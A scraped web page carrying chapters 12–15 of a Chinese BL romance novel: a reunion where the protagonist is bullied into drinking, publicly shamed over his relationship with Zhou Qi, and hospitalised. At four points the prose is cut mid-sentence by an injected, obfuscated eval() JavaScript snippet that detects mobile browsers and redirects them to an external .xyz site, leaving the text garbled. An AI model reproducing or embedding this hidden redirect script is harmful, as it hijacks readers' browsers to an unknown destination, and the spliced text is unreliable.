等吃完了饭,周齐在书房办公,江安又偷偷跑到厨房,将之前被自己扔掉的蛋糕从垃圾桶里翻了出来。 小声念叨:“谁说我不喜欢吃了。” 明明就喜欢得紧。 * 晚上睡了个好觉,第二天起来的时候江安气色看着都好了不少。 今天是周末,周齐也是难得的没有去公司加班,穿着一身简单的休闲装,让他看起来少了几分凌厉,多了几分柔软。 他拉开椅子坐到周齐对面。周齐正低头回着消息。 江安用力咳嗽,发出声响。周齐将手机放下,抬头看他:“今天起这么早?” 江安心满意足地应了一声,用筷子搅拌着碗里的白粥,打了个哈欠:“又喝粥?” 连着两顿喝粥,还是什么味道都没有的白米粥,嘴里都能淡出鸟来。 “喝粥养胃。”周齐说。 于是江安连毛都还没来得及炸,就被抚平了。 “哦……”他低头喝粥,嘴角不自觉地翘了起来,“没想到您还挺会养生。” 同学聚会就在今天中午,江安没有驾照,潘乐游上午又正好有事,没空过来接他。没想到一开门,阔别了许久的“监督人”再一次出现在他面前:“周总让我送你过去。” 他意外地回头看向客厅里的周齐,心想他都没和周齐说同学会在今天,他怎么知道的。 “监督人”看出江安心中所想,代替周齐回答:“只要周总想知道,就会有人告诉他。” 江安愣了下,不免觉得有些好笑。 可转念一想,自己现在跟着周齐,应该也算是,麻雀飞上了枝头,能假装一下凤凰了? 竟然还有点兴奋。 聚会地点在市中心一家新开的酒楼里。 在这个寸土寸金的地方,你很难想象竟然有人能买得一整座楼。 楼层并不算高,但也有四十八层,占地面积差不多有八个篮球场那么大。其中有一半是商场,另一半则是两栋相对着的办公大楼,整体呈一个三角形的三塔连体结构,算是整个市的商业标杆。 酒楼开在商场的顶楼,装修奢华,富丽堂皇,据说平时都是一些商业界的巨头过来吃饭,普通人也就只能在门口打卡拍个照。 以前周齐和别人谈事情的时候,也有带江安来过,这辈子虽然是第一次来,倒也不算陌生。和前台核对了一下身份,在确认无误后,江安才被领着进了包间。 这次过来,说起来还是沾了别人的光。 江家是暴发户,江博瀚又总是想挤进那些真正有钱人的行列,乃至于他从小到大去的学校都是只有有钱人才上得起的那种,算是贵族学校。 只不过这四个字听起来太过好笑,江安从来不把这些当回事,也从来没有按照江博瀚的要求和那些富家子弟们搞好关系。而他在学校里的生活,也过得并不开心。 真正的豪门是看不起暴发户的,学校里也不乏一些像江博瀚这样的人,各种托关系找人把自家孩子送进学校,只希望能够和那些富豪的小孩打好关系,说不准就能从中得到什么项目,美美赚上一笔。如果能通过孩子们之间的交往,让自己家更上一层楼,那就再好不过了。 于是这些孩子,在学校里就成了那些富豪孩子的跟班。说是跟班已经算是美化了,真实的情况是,成了被他们踩在脚底下的垃圾。 偏偏你还要按照父母的要求,哪怕被删了一巴掌,也要觍着脸去讨好,问对方手疼不疼。 在这样一个畸形的校园环境里,江安的日子过得可以说是非常不好,哪怕你不主动招惹,也会有人因为瞧不起你,又或者是想给自己贫乏无趣的生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861111|159434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活找点乐子,来找你的麻烦。 他们的花招各种各样,老师自然也不管,学校里的学生就这样被分成了两拨人。一波是真正的豪门,高高在上,另一波则是像江安这样的暴发户,被踩在了脚底下。 而有一小拨人,从初一开始,就一直在针对江安。 其中的领头者,叫霍阳。 随着包间门被缓缓打开,江安一眼就看到了坐在首位的霍阳。 “呦,稀客啊。”霍阳在江安进来的时候就站了起来,笑嘻嘻地朝他走过来,“快坐快坐,真的是好长时间都没见过了,还怪怀念的。” 相比于记忆里的人,霍阳看起来成熟了很多,也不像以前那样狂傲,倒像是个翩翩有礼的贵公子。可他那双扬起来的眉眼,还有眼角眉梢里的狠辣,让江安知道他还是以前的那个霍阳。 这里除了霍阳,还有以前几个总跟在霍阳身后的跟班。他一一看过去,在心里将他们和记忆里的人名对上号。 “霍阳。”江安笑了,热情地回应了霍阳的拥抱,在他的邀请下坐了下来,“真的是,好久不见了。” 曾经的他因为霍阳吃了不少的亏,现在再一次见面,他并不想和霍阳有什么牵扯。毕竟,上辈子他没来参加这次的同学聚会,后面就再也没有见过霍阳。 他第一次感觉到了手拿剧本的好处。 因着时间还早,到的人也寥寥无几,几个和霍阳不是一伙的,也只是坐在一旁喝着茶,没有说话。 江安十分明白霍阳看不惯自己,也明白人情的冷漠,霍阳在一旁说着,他就在旁边有一搭没一搭的应着。 可霍阳却不满意了,开了一瓶白酒就给江安倒上:“咱们这好多年不见的,也一直没什么联系,今天难得有机会聚一聚,得好好喝一杯。” 53°的白酒就这样倒了满满一大杯,普通人喝下去,怕是喝完就要倒。 江安酒量一般,也并不爱喝白酒。霍阳这是故意的。 想到自己给黄老师带的礼物,江安微微蹙眉,旋即笑道:“喝那肯定是要喝的,只不过现在人还没齐,黄老师也没到,我们就这么提前喝了,怕是不太好。” 说是同学聚会,其实大家也是趁着这个由头给黄老师过生日。哪怕是霍阳这样的人,也并不太愿意惹黄老师不高兴。 看出霍阳的不满,旁边有人连忙开口:“江安你这可就不够面子了啊,阳哥难得请别人喝酒,你这一口都不喝的,也太不给面子了。” 另一人接着附和:“就是就是,平时我们想和阳哥喝一杯都没机会呢。” 江安垂眸看了眼手机,他今天确实来得有点早,距离约定时间还有半个小时。 “过生日嘛,不就是要开心一点?”霍阳面上带笑,眼底却并无半分笑意,将装满酒的杯子推到江安面前,“江安,你肯定也想好好地给黄老师过个生日,不是吗?” 13. 第 13 章 屋子里所有人都将目光投向了霍阳和江安。 他们在看好戏,但更多的,是事不关己的冷漠。 以前在学校的时候,霍阳就是校园一霸,凭借着良好的出身在学校里横行霸道,多少人在他的欺压下都不敢怒也不敢言。 江安和他对上的原因很简单。那天江博瀚正好停了江安的零花钱,江安又正好撞上了他们在欺负潘乐游。心里的不满需要找地方发泄,就这么把霍阳他们给揍了一顿。 江博瀚知道了这件事之后,当时就直接给了他一巴掌,并且在第二天亲自压着他去给霍阳道歉。 可霍阳并不满意,他要江安跪在地上给他磕头道歉。江安怎么可能答应,又给霍阳揍了一顿,别人怎么拉都拉不开,闹得办公室里鸡飞狗跳,最后还被记了处分。 梁子就这么结下。 初中三年,两人之间大大小小的矛盾数不胜数,但往往吃亏的都是江安。除了潘乐游,没有一个人会站在他这边。 所以有时候他也想,自己当初为什么要走那条路,为什么要遇到他们,为什么要多管闲事,为什么脾气那么暴躁,以至于在毕业这么多年之后,还是不肯被放过。 可世界上并没有那么多后悔药,他能够有机会重新回到周齐身边,就已经用光了所有的运气。 他无所谓地笑笑,端起酒杯喝了一大口,霎时间一股辛辣的酒液便顺着喉咙滚进了他的胃里。嘴里像是塞了一团燃烧的棉花,连带着胃里都有一股被烧灼的感觉,隐隐作痛。 “说的是,大家难得聚在一起,还是要开开心心的才好。” 霍阳见状脸上的笑容似乎都真诚了不少,连带着气氛都松快了下来。 “这么多年不见,怎么感觉你像是变了个人。”他和江安勾肩搭背,看起来就像是多年未见的好友,“还记得你以前见了我就炸毛,跟只刺猬似的。” 倒也不算是刺猬,只是他们两一见面就要干架,而往往赢的那个人都是江安。霍阳记恨他也是应该的。 但这话不能说,只能顺着他的话点头:“那时候年纪小,火气大,见谁都不顺眼。”顿了顿,江安喝了一大口酒,给足了霍阳面子,“以前的事都是我不对,阳哥你也别介意,这杯算是我给你赔罪了。” 霍阳一脸兴味地挑了挑眉,转头看向其他人:“大家都听听,江安是在说要给我赔罪?” 立马有人上赶着拍霍阳马屁:“阳哥你没听错,他确实说要给你赔罪呢。” 这人江安有点印象,好像是叫喻成天,初中起就一直跟着霍阳,听说从霍家手里捞了不少好处。只不过后来全国建筑业整改,他们家被查到很多粗制滥造的工程,甚至还闹出过人命。墙倒众人推,再往后就没听说过了。 江安眯了眯眼,在心里暗暗给喻成天记上一笔。 杯子里的白酒还剩大半,江安明白,今天这杯酒他不喝完,怕是过不去了。 距离聚会开始还有二十分钟,霍阳不会让他拖那么久的。与其被强迫闹得大家脸上都不好看,倒不如自己主动点。 他端起酒杯,轻轻晃动,灯光从头顶倾泻下来,照得杯中酒液似乎都染上了淡淡微光。他轻吐了口气,仰起头将白酒尽数喝了下去。 “咚” 空了的杯子被重重放在桌上,江安扯了扯衣领,低头轻喘了口气,红晕沿着苍白的皮肤蔓延开来,一直到了脖子。 他抬头笑笑,将酒杯倒过来示意自己喝完,看向霍阳:“阳哥,以前的事儿,对不起。” 霍阳就这样看着江安动作,心满意足地哈哈大笑,一把勾住江安的脖子,一副大度的样子:“什么对不起不对不起的,咱们都是兄弟,是同学,有什么事情是过不去的呢?” 其他人也跟着赔笑,于是这样一场专门针对江安的风波,似乎就这么过去了。 又过了会儿,其他人也纷纷到了,同学之间许久未见,大家都很开心,三三两两聚在一起说话。 潘乐游也是赶了过来,他在人群里寻找着江安,在看到霍阳的时候神情一顿,随即看到了霍阳身边的江安。心里顿时预感不妙,连忙走过去,坐到江安身边,警惕地看了霍阳一眼,在江安耳边小声问道:“你怎么和他坐在一起……” 话还没说完,他就闻到了一股浓重的酒味,“江安你——” 江安拍了拍他的手,看着面前的空杯,只觉得头晕目眩,胃里更是又热又痛,“没事,就喝了点酒。” 到底也不是完全的傻白甜,潘乐游很快便明白刚刚发生了什么,心里一阵自责。 霍阳侧目看着两人的窃窃私语,倒也没说什么。只不过他以前对江安只有恨,竟然没发现江安竟然长得这么好,特别是他喝醉了的样子,简直可以用“娇艳欲滴”来形容。 “呵……怪不得……”眼神里满是鄙夷。 喻成天疑惑地问:“阳哥你说什么?” 霍阳嗤笑一声,没有理他。 喻成天疑惑地看向江安,突然想起来最近圈子里都在讨论的一件事:听说那个周总,破天荒的在身边养了只金丝雀。而那只金丝雀的名字,好像就叫……江安。 喻成天瞬间明白了什么。想到两个男人之间的事,顿时胃里一阵犯恶心,更加瞧不起江安了。 作为聚会的主人公,黄老师是最后一个到的。 也许是年轻的时候劳心劳力,年纪大了身体就一直不好,这几天降温,也不知怎么的就感冒了,一度高烧到三十九度。但黄老师也不想让大家扫兴,便瞒着大家,去医院吊了一晚上的水,这才姗姗来迟。 在这样一所学校里,黄老师算是为数不多能管得住学生的,而这也是因为她身后的黄家。再加上她教学严谨,对学生认真负责,即便是那些富家子弟,不管心里怎么想,至少面上都很尊重,不太敢造次。 霍阳作为班里的领头人,第一个上前,扶着黄老师坐到主位。 不得不说,霍阳是真的有两副面孔。刚刚在江安面前有多么的嚣张跋扈,在黄老师面前就有多么乖巧听话,让人压根看不出这样一个彬彬有礼的优质青年,竟然会有那样的一面。 等黄老师坐下后,众人才跟着入座。 本来大家说要给黄老师定做一个巨大的生日蛋糕,但黄老师本就不喜欢铺张浪费,只说要一个小蛋糕就行,虽然遗憾,却也只能作罢。 等众人为黄老师唱了生日歌,送上祝福后,这才开始安排走菜。 席间推杯换盏,言笑晏晏,其乐融融,有不少人给江安敬酒,江安也都一一应下,看得潘乐游在一旁为他着急。 他拦住酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861112|159434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,愤愤道:“这些人一看就是故意的!” 江安无所谓地道:“我知道。” 霍阳这人狂傲,不屑做这种事,却并不代表他不允许别人讨好自己。江安今天不想惹麻烦,吃点亏没什么,反正以后都不会有见面的机会。 说罢便喝了这杯酒。 今天在这里的最次也是个富二代,家里都不缺钱,给黄老师买的礼物更是价值不菲。潘乐游看着自己手里的围巾,突然就觉得拿不出手了。 江安脑袋晕乎乎的,胃里也烧得难受,却被潘乐游这副样子给逗笑了:“怎么一副愁眉苦脸的样子?礼物重在心意,不在价格。” 潘乐游却不行,眉毛皱得都绞在了一起:“可这价格也是心意的一部分啊,那些东西我又不是买不起,当时怎么都没想到。现在好了,都拿不出手。” 江安笑着叹了口气,指着自己的礼物盒子,“你要是拿不出手,那我这个该怎么办?还不活了啊?” 潘乐游顿时被噎住,看着江安那个价值一百多块钱的钢笔,由衷地替他感到尴尬。可好兄弟,不就是要两肋插刀吗? 于是潘乐游用看救星一样的眼神看向江安,真诚地道:“这样,等会你先去送,你送完我再送,就显得我不那么小气了。” 江安被逗得哭笑不得,觉得潘乐游是真的缺心眼。不过他本就不在意这些,也就答应了。 等人都差不多散开了,江安才缓缓站起来,走到黄老师身边,将礼物送了出去。 “黄老师,生日快乐。” 也不知是为什么,在江安送礼的时候,周围一下子就安静了下来,所有人都停下手中的动作看着他。 潘乐游注意到,他们看着江安的眼神很奇怪,像是好奇,又像是鄙夷,其间还夹杂着高高在上的审视。霍阳更是一副看好戏的样子,脸上带着意味深长的笑。 江安这是,惹到他们了吗? 潘乐游直觉不对劲,跟在江安身后,不着痕迹地护着他。 黄老师收下礼物,看着江安微微蹙眉,似乎是想了好一会儿才想起来他是谁,脸上露出慈祥的笑容:“原来是江安啊,谢谢你的礼物,有心了。” 江安顿了下,垂下眼睛轻笑,并不在意。只要东西送到,他今天过来的目的也就达到了。 这时也不知道是谁在旁边起哄:“黄老师,快看看江安给您送了什么。” “是啊是啊,黄老师快拆开看看。” “这么小的盒子,不会是什么手表吧?” “胡说什么呢,我猜应该是条手链!” 在众人的期待声中,黄老师将礼物盒打开。 只见里面静静地躺着一支深蓝色的钢笔,笔身偏细,样式精致小巧,却仍能叫人一眼看出材料的廉价。 立马有人在一旁嘲讽:“江安,你这就过分了啊,这种便宜货怎么也好意思拿出来?” 黄老师却不在意这些,训斥了一下说话的人,小心翼翼地将礼物盒包好,对江安笑道:“谢谢,我很喜欢。” 见黄老师似乎早就忘记了和自己的约定,即便早就有了准备,心里还是难免会有些失望。但他没有表现出来,只是道:“您喜欢就好。” 抬头却看到霍阳正站在自己对面,手上端着杯酒,脸上带着不怀好意的笑。 14. 第 14 章 江安直觉不太对,果不其然下一秒就听到有人说:“周齐是没给你钱吗?” 这才明白刚刚霍阳的笑是什么意思。 周齐名声太过响亮,圈子里几乎无人不知,再加上前些日子传出来的,说周齐包养人的事,更是一石激起千层浪,成了大家茶余饭后的热谈。 要知道,周齐可是个同性恋,那他包养的,也只能是个男人。 那么这个男人是谁呢? “周齐?难道江安就是被周齐包养的那个人?”不知是谁突然说道。 众人瞬间哗然。 黄老师更是震惊地看向江安,像是在询问,又像是不敢置信。 潘乐游在听到周齐名字的瞬间就警觉起来,心里一个咯噔,连忙拉住江安。 按照江安的脾气,被当众揭穿这种事是肯定要炸的,就像当初上学那会儿,因为霍阳的一句话,就能当着老师和家长的面直接把人揍一顿。那时候还能说是年纪小不懂事,现在大家都二十多岁的人了,要是再发生这种事…… 霍周两家常年都有合作,关系紧密,其间利益往来……潘乐游不信周齐会护着江安。 这时霍阳犹嫌不足,竟是故作惊讶地开口道:“江安,难道你真的被周齐包养了?你们家也不缺钱吧我记得。” 有人接着说道:“之前好像就有传闻来着,但当时我也没当回事,难道这是真的?” “就是他!我过来的时候看到他从周齐的车上下来。” “你这么说我好像也见到了,给他开门的那个是周齐的人,我记得好像是叫,周宽……对,就是周宽!我之前见过他,不会认错!” 周宽,也就是“监督人”,周家旁系血脉,从小跟着周齐,几乎从来没有离开过。 潘乐游还以为江安是自己打车过来的,却没想到竟是被周宽送过来的,心想这次估计是跳进黄河也洗不清了,心中愈发焦急。 没有人愿意将包养这种事拿到明面上来说。江家虽然是暴发户,却也是不缺钱的,能将自己的亲儿子送到另一个男人的床上,为的什么大家心里也都跟明镜似的。 他们面上是惊讶的,是不敢置信的,可眼睛里那浓浓的戏谑,却满得像是要溢出来。明显就是在故意针对江安,哪怕江安什么都还没说,便开始恶意揣测起来。 “太不要脸了吧?你家就穷成这个样子了吗?” “听说他本来就是个同性恋,之前还谈了个对象呢。” “那他对象呢?不会是被他甩了吧?就为了攀上周齐?” “这可说不准,谁知道他是怎么讨好周齐的。” 眼见着这些人说的越来越过分,黄老师的脸色也是越来越差,明明江安什么都还没说,却似乎已经被打上了“出卖身体”、“攀附权贵”这样的标签。 潘乐游心都沉到了谷底,恨不得狠狠抽自己一耳光,无比后悔自己为什么要得意忘形,仗着江安现在脾气好,非要喊他过来。他明明就知道,霍阳他们有多恨江安。 “黄老师,江安不是这样的人!”他着急地替江安解释,说出来的话却是苍白无力的。他知道,因为以前的一些事,黄老师最讨厌的就是这种攀附权贵的人。 “你们都闭嘴!别说了!!”他愤怒又急切地吼道。 原本江安以为自己是在意的,所以除了潘乐游,其他人他压根就没联系过。所以说虽然不少人都知道他骂周齐的事,却鲜少有人知道周齐包养的人是他。 毕竟谁没事会上赶着包养一个当众让自己难堪的人呢? 可不论他有多小心翼翼,只要是发生了的事情,总会被人发现,再被公之于众,叫人口口相传。 但当这件事情真的被人说出来的时候,江安心里非但没有愤怒,没有羞愧,反而是有一种,啊,终于能说出来的坦然。 没有霍阳想象中的恼羞成怒,江安只是拍了拍潘乐游的手臂,对他笑笑,然后认真地看着黄老师,对她道:“他们说的没错,我现在是和周齐在一起。” 潘乐游闻言脸色大变,刚想说些什么就被江安捏了捏手。却发现江安指尖微微颤抖,手心里全是冷汗,侧目看过去额头上也布满了细密的汗珠,顿时心里一惊。 江安闭了闭眼,微微摇头,示意他自己没事。 黄老师原本还没有完全相信,但在听到江安这句话之后,脸色瞬间黑了下来,原本慈祥的面容也立马变得严厉:“江安!你怎么能做出这种伤风败俗的事?!” 看着不知被谁碰到地上的钢笔盒子,江安弯腰捡起来,轻喘了口气,轻轻拍去上面的灰尘,再一次将它递给了黄老师。黄老师没有接,用一种失望和恨铁不成钢的眼神看着他,江安顿了顿,放在了一边。 “中考那天,我的书包被人偷走了,您将这支钢笔借给了我,说希望给我带来好运,让我安心考试,等后面再还给您。可后来我一直没找到机会,没想到一拖就拖了这么久。” 霍阳闻言脸色微变,下意识看了眼黄老师。 江安将他的神色看在眼里,了然于心。却也没说什么,抱歉地看着黄老师,无奈地笑了:“后来……后来我不小心把钢笔弄丢了,只能买一支一样的还给您。” 当时江安在学校要遭受霍阳一伙人的针对,回了家还要承受着江博瀚对他的施压,初中三年,一直承受着巨大的压力,中考那天书包被人偷走可以说是压倒他的最后一根稻草。书包里不仅有他的文具,还有身份证和准考证。他可以因为自己不想而不去考试,却不能因为这种原因不能考试。 他知道这事一定是霍阳干的,但他没有证据,就算有证据也不会有人帮他。可黄老师却在这时候站了出来,将自己的钢笔借给他,动用关系让他先进去考试,后面又给他把书包给找了回来。 黄老师不仅仅是借了他一支钢笔,也是将他从崩溃的边缘给拉了回来。 江安是感激黄老师的。 即便这件事对黄老师来说是微不足道的,甚至是早就被忘记的。 关于周齐的事情他也不好多说,只是钢笔还了回去,他此行的目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861113|159434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的也就达到了。用力抓着潘乐游的手臂,和黄老师道了别,便转身离开。 “江安。”黄老师喊住他,神色复杂,“你的礼物我收到了,但有些事是底线,老师希望你不要一错再错。” 一错再错? 江安垂眸浅笑。 “谢谢您。”他转头看向黄老师,“我现在已经是成年人了,知道自己在做什么。” 说罢也没再管黄老师的看法,和潘乐游在众人鄙夷的目光中离开。 …… 刚走了没多远,江安便难受地闷哼一声,连忙扶住旁边的栏杆。 潘乐游忙去扶他,这才发现江安此时已是脸色煞白,豆大的汗珠正顺着额头滚落。 “江安?江安!江安你怎么了?!哪里不舒服?” 他蹲下来让江安趴在自己背上,火急火燎地往前面跑。 “你别急,我马上就送你去医院,坚持住!” 胃里像是有团火在烧,尖锐的刺痛像是有刀子在里面搅。他想让潘乐游不要跑这么快,颠起来疼得受不了,张着嘴却一个字都说不出来,只能发出痛苦的呻吟。 大脑在酒精的作用下变得昏沉起来,脑子里像是有什么东西在戳,一阵一阵的揪着疼。 他咬着牙,用尽浑身力气扯了下潘乐游的衣服,这才让他放缓了脚步。 “慢,慢点走……疼……”终于有机会喘口气,江安强忍着难受艰难开口。 潘乐游连连点头,心中虽然着急,却也没敢再跑那么快。他急得满头大汗,悔意几乎将他整个人都给吞吃入腹。 就连声音都是颤抖中带着哭腔的:“对不起,对不起……都怪我非要喊你过来,我明明知道霍阳他们不喜欢你……但我,我以为这么多年过去了……” 江安摇摇头,想说这和他没关系,是他自己答应过来的。 “他们是不是逼你喝酒了?是不是喝了很多?你都不肯告诉我……什么生日,什么聚会……我,我就应该直接拉你走的……礼物什么时候不可以送,非要这时候送……还害得你被他们那样说……” 说着说着,潘乐游这么个大男人竟然难过得痛哭流涕,连话都说不清楚了。 但是,没发生的事谁又能想得到呢? 其实这也怪江安自己大意,在来之前都忘了霍阳这茬子事,下车了才想起来这个商场是他家开的,才连带着想起霍阳这个人,想起自己和他的龃龉。 “对,对不起……都怪我,都怪我……” 潘乐游还在那哭,哭得一把鼻涕一把泪的,倒让江安想起了刚认识潘乐游那会,被欺负了也只知道偷偷躲起来哭。 江安都快被他逗笑了。 没事的,他想,没什么大不了的,如果人能预知未来发生的事,那么当初他也不会走到那一步。 “没事的。”他轻声说道。 也许人在脆弱的时候就会特别想念自己最在乎的那个人。 江安突然就很想见周齐。 很想很想,非常想。 15. 第 15 章 周宽一直在停车场等江安。 等待的时间太过无聊,闭目养神了会,又出来抽了根烟,看了眼时间,才过去一个多小时。深吸了口气,闭眼靠在驾驶座上,却还是没忍住又抽了根烟。 平时周宽不会这么没有耐心,他只会在心情很烦躁的时候抽烟。 其实不仅是江安中午有饭局,周齐也有。周齐是个大忙人,接手公司以后基本上就没有休息过,今天中午约了人吃饭,谈一个很重要的项目。 原本应该是周宽接送,但周齐突然让他去送江安,还要求他必须在这等着,等江安这边结束,再把江安送回去。周宽难得对周齐的吩咐心生不满。 周宽不喜欢江安,甚至可以说是讨厌。他不想让周齐和江安在一起,即便是这样的包养关系。 可周齐总是为了江安一退再退,周宽不满的同时,又很担心。 他担心周齐会陷进去。 抽完了最后一根烟,他低头看了眼时间,又过去半小时。 周齐不允许别人在车里抽烟,周宽今天这是犯了戒,只能将车门和空调打开,让里面的味道尽快散出去。他又看了眼手表,看着手表上秒针滴滴答答地转,内心烦躁到了极点。 …… 江安寻思着,自己以前身体好像也没这么差啊,像今天这样一口气灌一大杯白酒下去也不是没有过,当时也只是醉了,睡一觉起来跟没事人一样。结果今天这杯白酒下肚,整个人都难受得跟要死了一样,胃疼头疼,还直犯恶心。 早知道会这么难受,就算和霍阳翻脸他也不要喝那杯酒。 这未免也太疼了点。 他疼得直抽气,整个人都像是从水里面捞出来一样,浑身是汗,止不住地打颤。 翻脸就翻脸嘛,大不了就去求周齐,他就不信周齐会不管他……他觉得周齐不会不管他的。 “江安你坚持住啊,我马上就送你去医院,你一定会没事的!” 也不知道是在安慰江安还是在安慰自己,潘乐游一路上都在碎碎念着,像是生怕江安就这么没声儿了。江安就低声应着,可身体不适加剧,意识也逐渐变得模糊。 好不容易跑到停车场,潘乐游却发现自己似乎迷了路。来的时候太赶,他随便找了个空位就停了,印象里以为车就停在电梯口附近,结果现在一看,根本找不到自己的车。 潘乐游又气又急,心中暗骂自己是个废物。 就在他急得团团转,差点就要拨打120的时候,转头就看到不远处似乎站着个人,看样子还有点眼熟,好像在哪儿见过。想到在包间里那些人说的,他灵光一闪,大声喊道:“周宽!” 周宽闻言转过身来。 潘乐游立马精神起来,背着江安就往周宽那儿跑,“江安快不行了!快送他去医院!” 周宽虽然不喜欢江安,但也知道江安对周齐有多重要,定睛一瞧,潘乐游身上背着的那个人,不就是江安吗?来不及搞清楚发生了什么,三步并作两步跑过去,从潘乐游背上接过江安,将他放进车后座。 潘乐游连忙跟上,坐在另一边,焦急地道:“快去医院!” 周宽也没有多问,车子启动,直往医院奔去。 等到医院的时候江安已经疼晕过去了,他看上去状态很差,脸色惨白,浑身是汗,立马被送进了抢救室。 周宽看了眼焦急站在一旁的潘乐游,犹豫片刻,还是给周齐打了个电话。 * 江北园区那边有块地,是未来两年政府要大力开发的地方,周齐为此做了很长时间的准备。今天这顿饭局就是接待上面过来视察的领导。 电话铃声响起来的时候,周齐这边饭局刚结束,众人正商量着去打高尔夫。 这是他的私人号码,只有最亲近的几个人才知道。他低头看了眼手机,来电显示是周宽。 周宽这个人一向都很有分寸,知道什么时候该做什么,绝不会在这种时候给他打电话。相反的,如果周宽在这种时候找他,就说明他那边一定出了什么事,还是非常重要的事。 江安出事了。 周齐将电话挂断,抱歉地道:“抱歉,我去回个电话。” 正如他所料,江安果然出了事,人晕过去了,正在医院,检查结果还没出来。 略作犹豫,他让周宽在医院里等,有消息了第一时间告诉他。 “发短信吧,这边领导都在。”他说。 周宽顿了下,点头应是。 电话挂断后,他又按照周齐的吩咐通知了江博瀚。 却没想到过来的是江覃。 周宽没忍住问道:“江总呢?” 江覃愣了下,满不在意地回道:“大概在忙吧。” 忙?周宽不明白,有什么比自己亲生儿子更重要的事吗?不过转念一想,他都能为了利益,把江安拱手送人,也就不意外了。 这时候江安的检查结果也出来了,急性胃肠炎,看起来这么严重是因为喝了大量白酒,肠胃受到刺激,加重了炎症。医生给他洗了胃,又用了药,现在已经送到了病房里,应该是没什么事了。 周宽将结果告诉周齐,等了会,对面回:我知道了。 在知道江安没事之后,潘乐游一直紧绷着的神经也终于放松下来,整个人就跟虚脱一样,一屁股坐在椅子上,又没忍住哭了起来。 * 江安醒过来的时候外面天已经黑了,他发现自己正躺在一间陌生的房间里,鼻子里充斥着一股消毒水味儿,闻着有些反胃。 他撑着身体从床上坐起来,手背上传来一阵刺痛,低头发现正吊着点滴,这才反应过来自己现在应该是在医院。 房门被推开,江覃风风火火地走了过来,一把将他按了回去。 “江安你疯了吧,病成这样还想下床?!” 他哪有想下床,只是想坐起来而已。 江安无辜地看着江覃,开口第一句话就是:“怎么是你?” 江覃闻言眉毛一竖,立马愤愤道:“怎么是我?你还好意思问怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861114|159434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么是我?”他气得脸都红了:“不是我还能是谁?难不成你还指望江博瀚过来给你签字?!” 哦,他晕过去了,办理住院手续什么的需要家属签字。 “潘乐游呢?”江安问。 江覃没好气地道:“刚走一会,好像是家里有事。”说完还怨气满满地吐槽:“要不是跟他出去你也不会这样,结果你这边人还在医院没醒呢,他就先跑了!” 江安突然想起上辈子好像也是这段时间,有消息说潘家出了什么事。只不过当时他追着周文煊去了外地,也就没有关注。 没有理会气急败坏的江覃,他又转头在病房里看了一圈,问道:“周齐呢?” “周齐?江安你发什么疯?”江覃是真的要被江安给气死了。 自己好好的一个弟弟,走的时候还活蹦乱跳的,结果这才过去多久,就这么虚弱地躺在病床上,看起来都瘦了一圈,也不知道在周齐家过得都是什么日子。想到江安可能要被周齐这样那样的折磨,他就眼前一黑。 特别是江安看起来似乎还很依赖周齐的样子,更让江覃恼火:“江安你这才过去多久啊,嘴里就周齐周齐的,怎么,难不成你真的喜欢上周齐了?江安你给我听好了,你和他说白了只是交易关系,人什么时候玩腻了就会把你丢掉,明白吗?!” 江安往被子里缩了缩,感觉有些冷:“嗯,我知道。” 自己的这个弟弟,江覃可以说是看着长大的,嘴上说着知道,其实根本没把你说的话听进去,甚至都不知道你说了什么。 于是开口问道:“江安,我刚刚都说了什么?你再给我重复一遍呢?” 江安表情有一瞬间的茫然,却还是一本正经地答道:“你说让我别发疯。” 江覃气得直翻白眼。 江安扯了扯他的袖子,又道:“哥,瓶里没水了。” 于是江覃又被这声“哥”给蛊住,恨铁不成钢地看了眼,出去喊护士了。 江安伸手戳了戳床头铃,挑挑眉,得意地笑了起来。 他这个哥哥,还是一如既往的好骗。 不过很快他又笑不出来了。 其实江覃说了什么江安都听到了,心里跟明镜似的,只是他这辈子都不可能再放开周齐的手了,不论发生什么事,他都不可能再放开周齐。 看着空荡荡的病房,江安心里不可避免地有些失落。 